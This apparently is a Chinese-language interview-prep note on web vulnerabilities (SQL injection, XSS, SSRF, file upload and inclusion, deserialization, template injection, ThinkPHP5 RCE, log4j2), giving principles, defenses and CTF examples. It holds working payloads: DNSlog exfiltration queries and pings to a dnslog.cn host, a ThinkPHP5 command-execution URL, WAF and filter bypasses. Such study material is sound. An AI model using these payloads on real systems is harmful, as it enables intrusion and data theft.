web漏洞总结 for 秋招
SQL注入
原理:未对用户输入导致攻击者能够通过拼接SQL语句获取到敏感信息,或者执行带有攻击性的操作。
危害:数据泄露、数据篡改、getshell、提权
场景:与数据库有交互的场景都有可能,如登录、查询
防御:参数化查询、输入验证和过滤、数据库最小权限、不打印错误处理、
绕过:宽字节编码
注入类型
union联合注入:需要有结果回显,确定回显的位置
报错注入:需要有报错提示
- floor 主键重复
- updatexml、extractvalue xpath报错
布尔盲注:if,需要正常和异常返回的页面不一样
时间盲注:sleep,返回内容一样,时间不一样
二次注入:首先将恶意语句写入数据库,然后取出数据时触发SQL注入。sqlilabs less-24
dnslog:只适用于Windows,UNC路径,结合load_file函数使用,请求远程文件时会用到DNS解析
1
payload:and (select load_file(concat('//',(select database()),'.6.eudspa.dnslog.cn/a')))
中转注入:sqlmap+脚本文件实现自定义的小工具,可解决加解密注入
堆叠注入
cookie注入
宽字节注入:MySQL使用GBK编码,认为两个字节就代表一个汉字,当第一个字节的ASCII码大于128(将数据库、Web程序、操作系统都设置为utf-8),适用于后端处理特殊符号时添加反斜杠转义的情况
注入步骤
- 判断是否有注入点:提交错误语句查看是否有异常
- 判断注入类型,根据是否有回显……
- sqlmap注入/利用information_schema逐渐查询(5.0以上才有
- getshell:sqlmap拿到os-shell/SQL Server有xp_cmdshell,可以直接执行系统命令/MySQL通过上传文件(需要绝对路径和写权限),反弹shell
- 提权
- UDF:用户自定义函数
- MOF:特定目录下的mof文件会以系统权限定时执行
常用函数/参数/文件
@@datadir
:数据库路径,可用于猜测网站路径
secure_file_priv
参数
load_file
、into outfile
、into dumpfile
my.ini
常用payload
1 | select database(); |
sqlite3
1 | select group_concat(name) from sqlite_master;/*数据库名*/ |
graphql
内省机制查询所有
1 | {"query":"\n query IntrospectionQuery {\n __schema {\n \n queryType { name }\n mutationType { name }\n subscriptionType { name }\n types {\n ...FullType\n }\n directives {\n name\n description\n \n locations\n args {\n ...InputValue\n }\n }\n }\n }\n\n fragment FullType on __Type {\n kind\n name\n description\n \n fields(includeDeprecated: true) {\n name\n description\n args {\n ...InputValue\n }\n type {\n ...TypeRef\n }\n isDeprecated\n deprecationReason\n }\n inputFields {\n ...InputValue\n }\n interfaces {\n ...TypeRef\n }\n enumValues(includeDeprecated: true) {\n name\n description\n isDeprecated\n deprecationReason\n }\n possibleTypes {\n ...TypeRef\n }\n }\n\n fragment InputValue on __InputValue {\n name\n description\n type { ...TypeRef }\n defaultValue\n \n \n }\n\n fragment TypeRef on __Type {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\n name\n }\n }\n }\n }\n }\n }\n }\n }\n ","variables":{},"operationName":"IntrospectionQuery"} |
1 | {"query":"{\n __schema{\n types{\n name\n}\n}\n}\n"} |
绕过姿势
WAF绕过总结:更改提交方法GET/POST…、打乱匹配规则(大小写混合、解密编码、注释符混用、等价函数替换、特殊符号混用)、借助数据库特性改变语法、HTTP参数污染
WAF可能过滤information_schema,解决:
innodb(5.6以上) ,查不到列名
1
2select group_concat(database_name) from mysql.innodb_table_stats;
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database();sys,也查不到列
无列名注入:
- join
- 子查询
过滤查询关键字select:
- 堆叠注入,show查询数据库+表+列
- handler查询
- 设置预编译语句,预编译语句中使用concat绕过过滤
过滤空格:
%a0
- 注释符
/**/
题型收集
- 攻防世界-ezsqli(无列名注入)
- 攻防世界-filemanager(二次注入)
- 攻防世界-supersqli(堆叠注入;select绕过)
- 攻防世界-Zhuanxv(hsql注入)
- 攻防世界-NewCenter
- 攻防世界-FlatScience(sqlite3注入)
- 攻防世界-Background_Management_System(二次注入
- bugku-滴!晨跑打卡(空格过滤
XSS
原理:未对用户输入进行正确过滤,导致攻击者能够注入恶意脚本代码且被执行
危害:窃取敏感信息、网络钓鱼、网页挂马、篡改页面、网络钓鱼、结合CSRF
场景:所有用户能够进行输入的地方,如富文本编辑器、
防御:HttpOnly、安全编码(输入输出)、CSP Header
绕过:模糊测试
XSS类型
- 反射型:会经过服务器(构造恶意链接,payload藏于get参数中,诱导受害者点击
- 存储型:会长久地存储在服务器中(留言板
- DOM型:只在浏览器端执行(该网站允许用户自定义js
CSRF
原理:未对发起操作的用户的身份进行正确校验,导致用户在不知情的情况下执行恶意操作
危害:盗用身份、伪造交易
场景:发布留言、支付
防御:验证referer(白名单)、验证token、同源策略、不用GET请求、添加确认
绕过:DNS重绑定可以绕过同源策略
SSFR
原理:服务器端提供发起请求的功能,攻击者拼接恶意指令
危害:命令执行、文件读取、本地和内网端口和服务扫描
场景:下载远程资源、
防御:过滤对内网地址的访问
绕过:DNS重绑定
相关函数
file_get_contents
sockopen
curl_exec
常用伪协议
file:///
dict://
php://
gopher://
绕过姿势
URL绕过:
- 检测URL中必需包括某域名,@绕过。http://xxx.com@127.0.0.1/flag == http://127.0.0.1/flag
- 注册相关子域名
IP绕过:
进制转换:
0177.0.0.1
、0x7f.0.0.1
、2130706433
意义等同
1
2
3
4http://localhost/
http://0/
http://127.0.1/
短链接重定向:服务器直接访问的网址是正常的,但是该网页有重定向到127.0.0.1的操作
DNS重绑定:服务器校验域名解析IP时,DNS解析到一个合法IP,但是有效期短,因此正式访问时会重新解析,此时会解析到127.0.0.1
题型收集
- 攻防世界-Cat
- 攻防世界-ics-02
文件上传
原理:对上传的文件没有进行正确的过滤,导致用户可以上传恶意文件
危害:后门文件、病毒程序
场景:能上传文件的地方(上传附件、上传头像
防御:上传目录无执行权限、白名单文件后缀、不暴露上传目录路径、改写文件名
绕过:双写、大小写、结合解析漏洞
绕过姿势
phtml:script标签绕过<?
解析漏洞
IIS 6.0
- 目录解析
/xxx.asp/sss.jpg
:sss.jpg在xxx.asp目录下会被当做asp解析 - 文件解析
/xxx.asp;.jpg
:分号后面的不被解析 - 除了asp外IIS 6.0默认的可执行文件:asa, cer, cdx
- 目录解析
IIS 7.0/IIS 7.5/Ngnix<8.03 畸形解析漏洞(Fast-CGI开启时
- 上传xxx.jpg,其中包含php代码
- 访问xxx.jpg/1.php即可把jpg当作php执行
Ngnix<8.03 空字节代码执行漏洞
- 上传xxx.jpg,其中包含php代码
- 访问xxx.jpg%00.php即可把jpg当作php执行
Apache解析漏洞:Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断。eg.test.php.x1.x2.x3
文件包含
原理:服务器端引入的文件是攻击者能够控制的恶意文件
利用条件:allow_url_fopen
和allow_url_include
开启
危害:与文件上传可结合
相关函数
PHP:include、require、fopen、readfile
读取协议
file协议:读取绝对路径的文件
php伪协议:
- php://input:执行php代码,适用于post和file_get_contents
- php://filter:读取源码,常用base64编码源码,
?filename=php://filter/read=convert.base64-encode/resource=./1.php
,resource可以说绝对路径也可以是相对
data协议:data://text/plain;base64,…..==
题型收集
- 攻防世界-Web_php_include
- 攻防世界-warmup
- 攻防世界-wzsc_文件上传(条件竞争)
- 攻防世界_file_include
反序列化
原理:服务器能够接收攻击者反序列化过的字符串,导致攻击者能够控制程序中的变量或者操作
- 魔术方法:类中使用某些函数会触发魔术方法,如果存在一些敏感功能如文件读取,加上攻击者可以控制变量,可能造成任意文件读取漏洞
场景:篡改受害人的一些数据(这些数据会经过序列化和反序列化的操作
相关函数
PHP:serialize, unserialize,魔术方法(__construct
, __sleep
, __wakeup
Java:writeObject,readObject(JSON反序列化、JDBC反序列化
shiro反序列化
Apache Shiro对cookie的处理涉及反序列化(特征:cookie名为rememberMe)
处理过程:命令→序列化→aes加密→base64编码→rememberme
利用条件:获取aes-key,构造恶意命令按照以上处理过程完成后上传到服务器端,服务器反序列化后执行恶意命令
相关知识点:Java,aes,cookie、反序列化
session反序列化
php session储存在文件中
字符逃逸
PHP反序列化字符逃逸详解_php filter字符串溢出-CSDN博客
unserialize(filter(serialize($a)))
,序列化与反序列化中的filter函数,替换的字符串长度前后不一致会造成反序列识别出现bug
- 过滤后字符串变长:指定长度的字符识别完后,剩余的字符被当作变量
- 过滤后字符串变短:导致后面的变量被当作字符串,构造后面的变量为危险变量完成替换
题型收集
- 攻防世界-unserialize3
- 攻防世界-Web_php_unserialize
- bugku-逃逸-nuaactf
RCE
php相关函数
system
shell_exec
exec
eval
绕过姿势
空格绕过
1 | IFS$9 |
关键词绕过
1 | fl\ag |
模板注入
原理:攻击者能够控制要通过模板引擎渲染的数据,可以让服务器执行一些命令
危害:泄露敏感信息
测试:数学表达式49
常用payload
1 | # 常用方法 |
可通过脚本遍历获取想要的类的位置,python or 模板脚本 or burp爆破
1 | {% for c in [].__class__.__base__.__subclasses__() %} |
常见框架
不同的框架会对应不同的敏感信息,获取的语法可能也会有不同,需要参考官方文档或者已有的相关wp
- Tornado
- Flask/Jinjia2
题型收集
- 攻防世界-easytornado(from 护网杯)
- 攻防世界-easy_web
DNSlog
原理:攻击者注入恶意DNS请求,再输入字段中插入payload,服务器发起DNS请求时攻击者可以通过监视DNS服务器的响应来收集信息。
危害:信息泄露、与其他漏洞结合使用完成无回显渗透
无回显的SQL注入:load_file结合UNC路径(仅适用于Windows),加载远程文件时发起DNS查询
1
payload:and (select load_file(concat('//',(select database()),'.6.eudspa.dnslog.cn/a')))
无回显的命令执行(注意操作系统不同,需要不同的变量表示以及字符串连接)
1
2ping %os%.6.eudspa.dnslog.cn
ping `hostname`.6.eudspa.dnslog.cn无回显的SSRF
Javascript原型链污染
JavaScript Prototype污染攻击(CTF 例题分析)-CSDN博客
JSON.parse不能直接导致原型链污染,需要深拷贝。(递归赋值
Redis未授权
thinkphp5
thinkphp 5-rce版本漏洞复现(超详细版)_thinkphp5漏洞扫描_徐长卿学网安的博客-CSDN博客
与框架路由有关?
1 | index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami //远程命令执行 |
MD5加密漏洞
0e绕过
1 | md5('QNKCDZO') == md5(240610708) //弱类型比较 |
数组绕过
md5不能加密数组,传入数组会报错,但会继续执行并且返回结果为null。
1 | md5(a[]=1) === md5(b[]=1) //强类型比较 |
MD5碰撞
CRLF
http header注入
其他
HTTPS中间人攻击
ARP中间人+中间人伪造证书
HTST
New
log4j2
日志模块,格式化输出时会产生命令执行
相关知识点:java, jndi:rmi